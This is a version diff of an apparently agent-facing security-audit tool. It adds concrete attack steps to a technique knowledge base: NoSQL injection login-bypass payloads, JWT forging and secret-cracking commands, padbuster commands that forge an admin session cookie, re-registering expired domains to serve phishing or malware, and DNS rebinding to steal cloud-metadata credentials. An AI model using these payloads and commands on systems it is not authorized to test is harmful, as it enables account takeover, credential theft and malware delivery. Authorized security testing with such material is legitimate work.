blitzstrike 2.4.104 → 2.4.105

package/CHANGELOG.md

@@ -5,6 +5,23 @@ All notable changes to Blitz Strike are documented here.
 The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/).
 
+## [2.4.105] — 2026-09-17
+
+### Added — technique depth (concrete tools + payloads in the technique base)
+
+- Enriched five technique classes with concrete, copy-paste-able tools and
+  payloads (a `tools` array + additional `techniques` steps), derived from
+  public per-class references:
+  - `padding_oracle` — padbuster/padre commands, block sizes (DES=8/AES=16),
+    oracle indicators, CVE-2021-43074 / CVE-2025-34091.
+  - `broken_link_hijacking` — blc / wget --spider / whois commands,
+    CVE-2017-1000107 + link-rot → RCE cases.
+  - `dns_rebinding` — rbndr.us / sslip.io / rebinder harness, Jenkins
+    CVE-2016-0788 + cloud-metadata exfil.
+  - `jwt` — jwt_tool -M at, hashcat -m 16500, jwt2john, header attacks
+    (alg:none / key confusion / jku-x5u / kid traversal / CVE-2022-21449).
+  - `nosql_injection` — $ne/$gt/$regex/$where payloads (form + JSON) + $where RCE.
+
 ## [2.4.104] — 2026-09-17
 
 ### Added — two client-side detectors (postMessage + client-trusted flag)

package/intelligence/techniques.json

@@ -205,7 +205,10 @@
       "techniques": [
         "Auth bypass: $ne / $gt on both fields.",
         "Blind: $regex with ^a to enumerate values.",
-        "$where: sleep(5000) for time-based, or arbitrary JS."
+        "$where: sleep(5000) for time-based, or arbitrary JS.",
+        "Auth bypass (form): username[$ne]=toto&password[$ne]=toto \u2014 operator injection makes the condition always true.",
+        "Auth bypass (JSON): {\"username\":{\"$ne\":null},\"password\":{\"$ne\":null}} or {\"username\":{\"$gt\":\"\"},\"password\":{\"$gt\":\"\"}}.",
+        "Extraction: $regex '^a.*' char-by-char boolean oracle. $where: this.username == '<input>' \u2192 arbitrary JS on the Mongo server (RCE if the JS engine is enabled)."
       ],
       "verify": "The operator injection returns data it should not (auth bypass / a different record); a control with a literal value returns the normal response."
     },
@@ -289,9 +292,15 @@
         "RS256->HS256: sign with the public key.",
         "kid: ../../dev/null or a SQLi payload to pick a key.",
         "jku/x5u: point to an attacker-hosted JWK.",
-        "Weak secret -> crack with jwt_tool/hashcat."
-      ],
-      "verify": "A forged token is accepted (server returns authorized data for the impersonated user); an unmodified/invalid token is rejected."
+        "Weak secret -> crack with jwt_tool/hashcat.",
+        "Header attacks: alg:none (strip signature), RS256\u2192HS256 key confusion, jku/x5u header injection to a collaborator, kid path traversal to a static signing key."
+      ],
+      "verify": "A forged token is accepted (server returns authorized data for the impersonated user); an unmodified/invalid token is rejected.",
+      "tools": [
+        "python3 jwt_tool.py -t <url> -rh \"Authorization: Bearer <token>\" -M at \u2014 run the full attack suite (alg:none, HMAC key confusion, embedded JWK, psychic signature CVE-2022-21449)",
+        "hashcat -a 0 -m 16500 jwt.txt wordlist.txt \u2014 crack a weak HS256 secret",
+        "jwt2john.py JWT > t.hash && john t.hash --wordlist=w.txt \u2014 John fallback"
+      ]
     },
     {
       "id": "oauth",
@@ -1223,12 +1232,18 @@
       "techniques": [
         "Expired-domain registration -> recreate the original URL path -> serve malicious JS that every page still loads (the WatchTowr 2025 pattern: ~40 expired domains = thousands of live backdoors).",
         "JS-bundle package/CDN reference to an expired or noneexistent domain (font, polyfill, npm CDN).",
-        "Service-integration domain expiry: SES/SendGrid/Mailgun verification or webhook domains left dangling."
+        "Service-integration domain expiry: SES/SendGrid/Mailgun verification or webhook domains left dangling.",
+        "Crawl \u2192 isolate outbound links whose domain fails DNS or returns 404/500 \u2192 confirm expiry via WHOIS \u2192 register the domain \u2192 recreate the original URL path with a phishing/malware payload (CVE-2017-1000107; gov.uk link-takeover; Mozilla MFSA 2016-88 link-rot \u2192 RCE)."
       ],
       "verify": [
         "RDAP/WHOIS shows the referenced domain in an expired/redemption state (prove it is registrable).",
         "The reference is STILL live in the target's HTML/JS bundle (the trust is still inherited).",
         "NOT merely a dangling CNAME \u2014 that is subdomain_takeover; this is a FULLY EXPIRED registrable domain."
+      ],
+      "tools": [
+        "blc -rfoi --exclude linkedin.com --filter-level 3 https://example.com/ \u2014 recursive broken-link crawl (anchors/images/css/js/iframes)",
+        "wget --spider -r -nd https://example.com/ 2>&1 | grep -i 'broken' \u2014 find failing outbound URLs",
+        "whois <domain> \u2014 check expiry / pendingDelete / redemptionPeriod (registrable)"
       ]
     },
     {
@@ -1247,12 +1262,19 @@
       "techniques": [
         "Padding Oracle via distinct error messages / status codes.",
         "Padding Oracle via timing side-channel (CVE-2025-59438 Mbed TLS pattern; CVE-2025-34091 Chrome AppBound).",
-        "Encrypted-cookie forgery: recover plaintext, then re-encrypt controlled plaintext to forge a session/admin token."
+        "Encrypted-cookie forgery: recover plaintext, then re-encrypt controlled plaintext to forge a session/admin token.",
+        "Block size 8 = DES/3DES, 16 = AES. Oracle indicators: 'Invalid padding' / 'Padding error' / 'Decryption failed' / HTTP 500 only on some flips / a timing delta.",
+        "After decrypting the cookie, re-encrypt 'user=admin&role=administrator' to impersonate (CVE-2021-43074 FortiOS session cookie; CVE-2025-34091 Chrome AppBound 'C4 Bomb')."
       ],
       "verify": [
         "A modified ciphertext produces a DETECTABLY different response (not identical to the baseline).",
         "The oracle is repeatable (same modification -> same differential).",
         "Recover one known plaintext byte to confirm the oracle actually leaks information."
+      ],
+      "tools": [
+        "padbuster <url> <token> <block_size> -cookies \"name=value\" -error \"Invalid padding\" \u2014 decrypt a CBC token via the oracle",
+        "padbuster <url> <token> <block_size> -cookies \"name=value\" -error \"Invalid padding\" -plaintext 'user=admin&role=administrator' \u2014 re-encrypt to forge an elevated token",
+        "padre \u2014 concurrent Go padding-oracle tool with automatic block-size + encoding fingerprinting"
       ]
     },
     {
@@ -1271,12 +1293,18 @@
       "techniques": [
         "TTL-based rebinding (short TTL, swap A record between attacker IP and internal target).",
         "SSRF host-allowlist bypass via rebinding (validate hostname -> resolve to internal IP).",
-        "Same-origin bypass to attack local services (Redis, memcached, Docker socket, cloud metadata)."
+        "Same-origin bypass to attack local services (Redis, memcached, Docker socket, cloud metadata).",
+        "Rebind to 127.0.0.1 to hit local services (Jenkins CLI auth bypass CVE-2016-0788); rebind to 169.254.169.254 for cloud metadata (IAM-role exfil); VPNFilter used a rebinding stage to reach routers behind NAT."
       ],
       "verify": [
         "The rebinding domain resolves to BOTH the attacker IP and the internal target (two-resolve proof).",
         "The target actually re-resolves the hostname at request time (not cached once).",
         "An internal-only response (metadata, DB, admin) is returned to the attacker origin."
+      ],
+      "tools": [
+        "rbndr.us \u2014 generate a hostname that alternates between two IPs with a very low TTL (attacker IP \u2194 internal target)",
+        "lock.cmpxchg8b.com/rebinder.html \u2014 DNS-rebinding test harness",
+        "192-168-1-1.sslip.io \u2014 wildcard DNS returning a fixed embedded IP (setup/probe)"
       ]
     }
   ]

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "blitzstrike",
-  "version": "2.4.104",
+  "version": "2.4.105",
   "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
   "type": "module",
   "bin": {